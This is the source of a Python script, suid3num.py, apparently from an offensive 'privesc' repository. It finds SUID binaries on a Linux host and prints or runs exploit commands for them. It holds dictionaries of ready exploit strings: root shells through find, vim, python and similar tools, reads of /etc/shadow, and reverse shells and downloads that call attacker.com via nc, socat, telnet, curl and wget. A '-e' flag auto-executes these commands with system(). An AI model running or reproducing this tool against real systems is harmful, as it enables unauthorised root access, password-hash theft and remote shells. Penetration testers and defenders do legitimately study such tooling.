Newer
Older
DirtyScripts / privesc / suid3num.py
  1. #!/usr/bin/python3
  2.  
  3. """
  4. Works with both python2 & python3
  5. """
  6.  
  7. from sys import argv
  8. from os import system, popen
  9. from time import sleep
  10.  
  11. """
  12. The following list contains exploits for all known SUID binaries
  13. """
  14.  
  15. customSUIDs = {
  16. 'aria2c': 'COMMAND=\'id\'\nTF=$(mktemp)\necho "$COMMAND" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x',
  17. 'arp': 'LFILE=file_to_read\n./arp -v -f "$LFILE"',
  18. 'base32': 'LFILE=file_to_read\nbase32 "$LFILE" | base32 --decode',
  19. 'base64': 'LFILE=file_to_read\n./base64 "$LFILE" | base64 --decode',
  20. 'byebug': 'TF=$(mktemp)\necho \'system("/bin/sh")\' > $TF\n./byebug $TF\ncontinue',
  21. 'chmod': 'LFILE=file_to_change\n./chmod 0777 $LFILE',
  22. 'chown': 'LFILE=file_to_change\n./chown $(id -un):$(id -gn) $LFILE',
  23. 'cp': 'LFILE=file_to_write\nTF=$(mktemp)\necho "DATA" > $TF\n./cp $TF $LFILE',
  24. 'curl': 'URL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./curl $URL -o $LFILE',
  25. 'date': 'LFILE=file_to_read\n./date -f $LFILE',
  26. 'dd': 'LFILE=file_to_write\necho "data" | ./dd of=$LFILE',
  27. 'dialog': 'LFILE=file_to_read\n./dialog --textbox "$LFILE" 0 0',
  28. 'diff': 'LFILE=file_to_read\n./diff --line-format=%L /dev/null $LFILE',
  29. 'dmsetup': "./dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\n./dmsetup ls --exec '/bin/sh -p -s'", 'file': 'LFILE=file_to_read\n./file -m $LFILE',
  30. 'ed': './ed\n!/bin/sh',
  31. 'eqn': 'LFILE=file_to_read\n./eqn "$LFILE"',
  32. 'fmt': 'LFILE=file_to_read\n./fmt -pNON_EXISTING_PREFIX "$LFILE"',
  33. 'git': 'PAGER=\'sh -c "exec sh 0<&1"\' ./git -p help',
  34. 'gtester': 'TF=$(mktemp)\necho \'#!/bin/sh -p\' > $TF\necho \'exec /bin/sh -p 0<&1\' >> $TF\nchmod +x $TF\ngtester -q $TF',
  35. 'hd': 'LFILE=file_to_read\n./hd "$LFILE"',
  36. 'hexdump': 'LFILE=file_to_read\n./hexdump -C "$LFILE"',
  37. 'highlight': 'LFILE=file_to_read\n./highlight --no-doc --failsafe "$LFILE"',
  38. 'iconv': 'LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 "$LFILE"',
  39. 'iftop': './iftop\n!/bin/sh',
  40. 'ip': 'LFILE=file_to_read\n./ip -force -batch "$LFILE"',
  41. 'jjs': 'echo "Java.type(\'java.lang.Runtime\').getRuntime().exec(\'/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)\').waitFor()" | ./jjs',
  42. 'jq': 'LFILE=file_to_read\n./jq -Rr . "$LFILE"',
  43. 'ksshell': 'LFILE=file_to_read\n./ksshell -i $LFILE',
  44. 'ldconfig': 'TF=$(mktemp -d)\necho "$TF" > "$TF/conf"\n# move malicious libraries in $TF\n./ldconfig -f "$TF/conf"',
  45. 'look': 'LFILE=file_to_read\n./look \'\' "$LFILE"',
  46. 'lwp-download': 'URL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./lwp-download $URL $LFILE',
  47. 'lwp-request': 'LFILE=file_to_read\n./lwp-request "file://$LFILE"',
  48. 'mv': 'LFILE=file_to_write\nTF=$(mktemp)\necho "DATA" > $TF\n./mv $TF $LFILE',
  49. 'mysql': "./mysql -e '\\! /bin/sh'", 'awk': './awk \'BEGIN {system("/bin/sh")}\'',
  50. 'nano': './nano\n^R^X\nreset; sh 1>&0 2>&0',
  51. 'nawk': './nawk \'BEGIN {system("/bin/sh")}\'',
  52. 'nc': 'RHOST=attacker.com\nRPORT=12345\n./nc -e /bin/sh $RHOST $RPORT',
  53. 'nmap': 'TF=$(mktemp)\necho \'os.execute("/bin/sh")\' > $TF\n./nmap --script=$TF',
  54. 'nohup': 'nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"',
  55. 'openssl': 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n',
  56. 'pic': './pic -U\n.PS\nsh X sh X',
  57. 'pico': './pico\n^R^X\nreset; sh 1>&0 2>&0',
  58. 'pry': './pry\nsystem("/bin/sh")',
  59. 'readelf': 'LFILE=file_to_read\n./readelf -a @$LFILE',
  60. 'restic': 'RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\n./restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"',
  61. 'scp': 'TF=$(mktemp)\necho \'sh 0<&2 1>&2\' > $TF\nchmod +x "$TF"\n./scp -S $TF a b:',
  62. 'shuf': 'LFILE=file_to_write\n./shuf -e DATA -o "$LFILE"\nsudo:',
  63. 'soelim': 'LFILE=file_to_read\n./soelim "$LFILE"',
  64. 'sqlite3': "./sqlite3 /dev/null '.shell /bin/sh'", 'socat': 'RHOST=attacker.com\nRPORT=12345\n./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane',
  65. 'strings': 'LFILE=file_to_read\n./strings "$LFILE"',
  66. 'sysctl': 'LFILE=file_to_read\n./sysctl -n "/../../$LFILE"',
  67. 'systemctl': 'TF=$(mktemp).service\necho \'[Service]\nType=oneshot\nExecStart=/bin/sh -c "id > /tmp/output"\n[Install]\nWantedBy=multi-user.target\' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF',
  68. 'tac': 'LFILE=file_to_read\n./tac -s \'PromiseWontOverWrite\' "$LFILE"',
  69. 'tar': './tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh',
  70. 'tee': 'LFILE=file_to_write\necho DATA | ./tee -a "$LFILE"',
  71. 'telnet': 'RHOST=attacker.com\nRPORT=12345\n./telnet $RHOST $RPORT\n^]\n!/bin/sh',
  72. 'tftp': 'RHOST=attacker.com\n./tftp $RHOST\nput file_to_send',
  73. 'uudecode': 'LFILE=file_to_read\nuuencode "$LFILE" /dev/stdout | uudecode',
  74. 'uuencode': 'LFILE=file_to_read\nuuencode "$LFILE" /dev/stdout | uudecode',
  75. 'xz': 'LFILE=file_to_read\n./xz -c "$LFILE" | xz -d',
  76. 'zip': "TF=$(mktemp -u)\n./zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF", 'wget': 'export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\n./wget $URL -O $LFILE',
  77. 'zsoelim': 'LFILE=file_to_read\n./zsoelim "$LFILE"',
  78. }
  79.  
  80. """
  81. The following list contains all default SUID bins found within Unix
  82. """
  83.  
  84. defSUIDBinaries = ["arping", "at", "bwrap", "chfn", "chrome-sandbox", "chsh", "dbus-daemon-launch-helper", "dmcrypt-get-device", "exim4", "fusermount", "gpasswd", "helper", "kismet_capture", "lxc-user-nic", "mount", "mount.cifs", "mount.ecryptfs_private", "mount.nfs", "newgidmap", "newgrp", "newuidmap", "ntfs-3g", "passwd", "ping", "ping6", "pkexec", "polkit-agent-helper-1", "pppd", "snap-confine", "ssh-keysign", "su", "sudo", "traceroute6.iputils", "ubuntu-core-launcher", "umount", "VBoxHeadless", "VBoxNetAdpCtl", "VBoxNetDHCP", "VBoxNetNAT", "VBoxSDL", "VBoxVolInfo", "VirtualBoxVM", "vmware-authd", "vmware-user-suid-wrapper", "vmware-vmx", "vmware-vmx-debug", "vmware-vmx-stats", "Xorg.wrap"]
  85.  
  86. """
  87. Auto Exploitation of SUID Bins - List
  88. """
  89.  
  90. suidExploitation = {
  91. 'ash': '',
  92. 'bash': '-p',
  93. 'busybox': 'sh',
  94. 'cat': '/etc/shadow',
  95. 'chroot': '/ /bin/sh -p',
  96. 'csh': '-b',
  97. 'cut': '-d "" -f1 /etc/shadow',
  98. 'dash': '-p',
  99. 'docker': 'run -v /:/mnt --rm -it alpine chroot /mnt sh',
  100. 'emacs': '-Q -nw --eval \'(term "/bin/sh -p")\'',
  101. 'env': '/bin/sh -p',
  102. 'expand': '/etc/shadow',
  103. 'expect': '-c "spawn /bin/sh -p;interact"',
  104. 'find': '. -exec /bin/sh -p \\; -quit',
  105. 'flock': '-u / /bin/sh -p',
  106. 'fold': '-w99999999 /etc/shadow',
  107. 'gawk': '\'BEGIN {system("/bin/sh")}\'',
  108. 'gdb': '-q -nx -ex \'python import os; os.execl("/bin/sh", "sh", "-p")\' -ex quit',
  109. 'gimp': '-idf --batch-interpreter=python-fu-eval -b \'import os; os.execl("/bin/sh", "sh", "-p")\'',
  110. 'grep': '"" /etc/shadow',
  111. 'head': '-c2G /etc/shadow',
  112. 'ionice': '/bin/sh -p',
  113. 'jrunscript': '-e "exec(\'/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)\')"',
  114. 'ksh': '-p',
  115. 'ld.so': '/bin/sh -p',
  116. 'less': '/etc/shadow',
  117. 'logsave': '/dev/null /bin/sh -i -p',
  118. 'lua': '-e \'os.execute("/bin/sh")\'',
  119. 'make': '-s --eval=$\'x:\\n\\t-\'"/bin/sh -p"',
  120. 'mawk': '\'BEGIN {system("/bin/sh")}\'',
  121. 'more': '/etc/shadow',
  122. 'nice': '/bin/sh -p',
  123. 'nl': '-bn -w1 -s \'\' /etc/shadow',
  124. 'node': 'node -e \'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});\'',
  125. 'od': 'od -An -c -w9999 /etc/shadow | sed -E -e \'s/ //g\' -e \'s/\\\\n/\\n/g\'',
  126. 'perl': '-e \'exec "/bin/sh";\'',
  127. 'pg': '/etc/shadow',
  128. 'php': '-r "pcntl_exec(\'/bin/sh\', [\'-p\']);"',
  129. 'python': '-c \'import os; os.execl("/bin/sh", "sh", "-p")\'',
  130. 'rlwrap': '-H /dev/null /bin/sh -p',
  131. 'rpm': '--eval \'%{lua:os.execute("/bin/sh", "-p")}\'',
  132. 'rpmquery': '--eval \'%{lua:posix.exec("/bin/sh", "-p")}\'',
  133. 'rsync': '-e \'sh -p -c "sh 0<&2 1>&2"\' 127.0.0.1:/dev/null',
  134. 'run-parts': '--new-session --regex \'^sh$\' /bin --arg=\'-p\'',
  135. 'rvim': '-c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'',
  136. 'sed': '-e "" /etc/shadow',
  137. 'setarch': '$(arch) /bin/sh -p',
  138. 'sort': '-m /etc/shadow',
  139. 'start-stop-daemon': '-n $RANDOM -S -x /bin/sh -- -p',
  140. 'stdbuf': '-i0 /bin/sh -p',
  141. 'strace': '-o /dev/null /bin/sh -p',
  142. 'tail': '-c2G /etc/shadow',
  143. 'taskset': '1 /bin/sh -p',
  144. 'time': '/bin/sh -p',
  145. 'timeout': '7d /bin/sh -p',
  146. 'ul': '/etc/shadow',
  147. 'unexpand': 'unexpand -t99999999 /etc/shadow',
  148. 'uniq': '/etc/shadow',
  149. 'unshare': '-r /bin/sh',
  150. 'vim': '-c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'',
  151. 'watch': '-x sh -c \'reset; exec sh 1>&0 2>&0\'',
  152. 'xargs': '-a /dev/null sh -p',
  153. 'xxd': '/etc/shadow | xxd -r',
  154. 'zsh': '',
  155. }
  156.  
  157. """
  158. The following list contains GTFO Bins binaries which are SUID exploitable
  159. """
  160.  
  161. gtfoBinsList = ['bash', 'busybox', 'cat', 'chroot', 'cut', 'dash', 'docker', 'env', 'expand', 'expect', 'find', 'flock', 'fold', 'gdb', 'grep', 'head', 'ionice', 'jrunscript', 'ksh', 'ld.so', 'less', 'logsave', 'make', 'more', 'nice', 'nl', 'node', 'od', 'perl', 'pg', 'php', 'python', 'rlwrap', 'rpm', 'rpmquery', 'rsync', 'run-parts', 'rvim', 'sed', 'setarch', 'sort', 'start-stop-daemon', 'stdbuf', 'strace', 'tail', 'taskset', 'time', 'timeout', 'ul', 'unexpand', 'uniq', 'unshare', 'vim', 'watch', 'xargs', 'xxd', 'zsh', 'aria2c', 'arp', 'ash', 'base32', 'base64', 'byebug', 'chmod', 'chown', 'cp', 'csh', 'curl', 'date', 'dd', 'dialog', 'diff', 'dmsetup', 'file', 'ed', 'emacs', 'eqn', 'fmt', 'gawk', 'gimp', 'git', 'gtester', 'hd', 'hexdump', 'highlight', 'iconv', 'iftop', 'ip', 'jjs', 'jq', 'ksshell', 'ldconfig', 'look', 'lua', 'lwp-download', 'lwp-request', 'mawk', 'mv', 'mysql', 'awk', 'nano', 'nawk', 'nc', 'nmap', 'nohup', 'openssl', 'pic', 'pico', 'pry', 'readelf', 'restic', 'scp', 'shuf', 'soelim', 'sqlite3', 'socat', 'strings', 'sysctl', 'systemctl', 'tac', 'tar', 'tclsh', 'tee', 'telnet', 'tftp', 'uudecode', 'uuencode', 'xz', 'zip', 'wget', 'zsoelim']
  162.  
  163. """
  164. Colors List
  165. """
  166.  
  167. cyan = "\033[0;96m"
  168. green = "\033[0;92m"
  169. white = "\033[0;97m"
  170. red = "\033[0;91m"
  171. blue = "\033[0;94m"
  172. yellow = "\033[0;33m"
  173. magenta = "\033[0;35m"
  174.  
  175. barLine = "------------------------------"
  176.  
  177. banner = magenta + " ___ _ _ _ ___ _____ _ _ _ __ __ \n"
  178. banner += yellow + " / __| | | / | \\ |__ / \\| | | | | \\/ |\n"
  179. banner += blue + " \\__ \\ |_| | | |) | |_ \\ .` | |_| | |\\/| |\n"
  180. banner += red + " |___/\\___/|_|___/ |___/_|\\_|\\___/|_| |_| " + cyan + " twitter@syed__umar\n"
  181.  
  182.  
  183. def listAllSUIDBinaries():
  184. """
  185. Listing all SUID Binaries found in the system
  186. """
  187.  
  188. print(white + "[" + blue + "#" + white + "] " + yellow + "Finding/Listing all SUID Binaries ..")
  189. print(white + barLine)
  190. command = "find / -perm -4000 -type f 2>/dev/null" # Since /4000 isn't backwards compatible with old versions of find .. :))
  191. result = popen(command).read().strip().split("\n")
  192. for bins in result:
  193. print(yellow + bins)
  194. print(white + barLine + "\n\n")
  195. return(result)
  196.  
  197. def doSomethingPlis(listOfSuidBins):
  198. """
  199. This function prints the following data:
  200. - Default binaries which ship with installation of linux
  201. - Custom binaries which aren't part of default list
  202. - Binaries which match GTFObins list!
  203. """
  204.  
  205. _bins = []
  206. binsInGTFO = []
  207. customSuidBins = []
  208. defaultSuidBins = []
  209.  
  210. for bins in listOfSuidBins:
  211. _binName = bins.split("/")[::-1][0]
  212.  
  213. if _binName not in defSUIDBinaries:
  214. customSuidBins.append(bins)
  215.  
  216. if _binName in gtfoBinsList:
  217. binsInGTFO.append(bins)
  218.  
  219. else:
  220. defaultSuidBins.append(bins)
  221.  
  222. print(white + "["+ red + "!" + white + "] Default Binaries (Don't bother)")
  223. print(barLine)
  224. for bins in defaultSuidBins: print(blue + bins)
  225. print(white + barLine + "\n\n")
  226.  
  227. print(white + "[" + cyan + "~" + white + "] " + cyan + "Custom SUID Binaries (Interesting Stuff)")
  228. print(white + barLine)
  229. for bins in customSuidBins: print(cyan + bins)
  230. print(white + barLine + "\n\n")
  231.  
  232. """
  233. QWgsIEkgc2VlIHlvdSdyZSBhIG1hbiBvZiBjdWx0dXJlIGFzIHdlbGwgOkQgCk5vdCBldmVyeW9uZSByZWFkcyBzb3VyY2UgY29kZSBvZiB3aGF0IHRoZXkncmUgcnVubmluZyBub3ctYS1kYXlzIMKvXF8o44OEKV8vwq8K
  234. """
  235.  
  236. if len(binsInGTFO) != 0:
  237. print("[" + green + "#" + white + "] " + green + "SUID Binaries in GTFO bins list (Hell Yeah!)")
  238. print(white + barLine)
  239.  
  240. for bin in binsInGTFO:
  241. pathOfBin = popen("which " + bin).read().strip()
  242. gtfoUrl = "https://gtfobins.github.io/gtfobins/" + bin[::-1].split("/")[0][::-1] + "/#suid"
  243. print(green + pathOfBin + white + " -~> " + magenta + gtfoUrl)
  244. print(white + barLine + "\n\n")
  245.  
  246. else:
  247. print("[" + green + "#" + white + "] " + green + "SUID Binaries found in GTFO bins..")
  248. print(white + barLine)
  249. print("[" + red + "!" + white + "] " + magenta + "None " + red + ":(")
  250. print(white + barLine + "\n\n")
  251.  
  252.  
  253. """
  254. PR by @th3instein
  255. @modded
  256. """
  257. binsToExploit = []
  258. _binsToExploit = {}
  259. for binary in binsInGTFO:
  260. binaryName = binary[::-1].split("/")[0][::-1]
  261.  
  262. if binaryName not in suidExploitation:
  263. _binsToExploit[binary] = customSUIDs[binaryName]
  264.  
  265.  
  266. if len(_binsToExploit) != 0:
  267. print("[" + yellow + "&" + white + "] " + cyan + "Manual Exploitation (Binaries which create files on the system)")
  268. print(white + barLine)
  269.  
  270. for binaryPath, binaryExploitation in _binsToExploit.items():
  271. binaryName = binaryPath[::-1].split("/")[0][::-1]
  272. binaryExploitation = binaryExploitation.replace(binaryName, binaryPath).replace("./", "")
  273.  
  274. # print(binaryName, binaryExploitation)
  275.  
  276. print(white + "[" + cyan + "&" + white + "] " + magenta + binaryName.capitalize() + white + " ( " + green + binaryPath + " )" + white)
  277. print(yellow + binaryExploitation + white + "\n")
  278.  
  279. print(white + barLine + "\n\n")
  280. """
  281. @PR End
  282. """
  283. return(binsInGTFO, defaultSuidBins, customSuidBins)
  284.  
  285.  
  286. def note():
  287. print(white + "[" + red + "-" + white + "] " + magenta + "Note")
  288. print(white + barLine)
  289. print(blue + "If you see any FP in the output, please report it to make the script better! :)")
  290. print(white + barLine + "\n")
  291.  
  292. def exploitThisShit(bins):
  293. commands = []
  294.  
  295. for suidBins in bins:
  296. _bin = suidBins.split("/")[::-1][0]
  297. if _bin in suidExploitation:
  298. _results = suidBins + " " + suidExploitation[_bin]
  299. commands.append(_results)
  300.  
  301. if len(commands) != 0:
  302. if len(argv) == 2:
  303. if argv[1] == '-e':
  304. print(white + "[" + magenta + "$" + white + "] " + white + "Auto Exploiting SUID bit binaries !!!")
  305. print(white + barLine)
  306.  
  307. for _commands in commands:
  308. print(magenta + "\n[#] Executing Command .. ")
  309. print(cyan + "[~] " + _commands + "\n" + white)
  310. sleep(0.5)
  311. system(_commands)
  312. sleep(0.5)
  313.  
  314. else:
  315. print(white + "[" + green + "$" + white + "] " + white + "Please try the command(s) below to exploit harmless SUID bin(s) found !!!")
  316. print(white + barLine)
  317.  
  318. for _commands in commands:
  319. print("[~] " + _commands)
  320.  
  321. print(white + barLine + "\n\n")
  322.  
  323. def main():
  324. print(banner)
  325. try:
  326. suidBins = listAllSUIDBinaries()
  327. gtfoBins = doSomethingPlis(suidBins)
  328. exploitThisShit(gtfoBins[0]); note()
  329.  
  330. except KeyboardInterrupt:
  331. print("\n[" + red + "!" + white + "] " + red + "Aye, why you do dis!?")
  332.  
  333. if __name__ == '__main__':
  334. main()
Buy Me A Coffee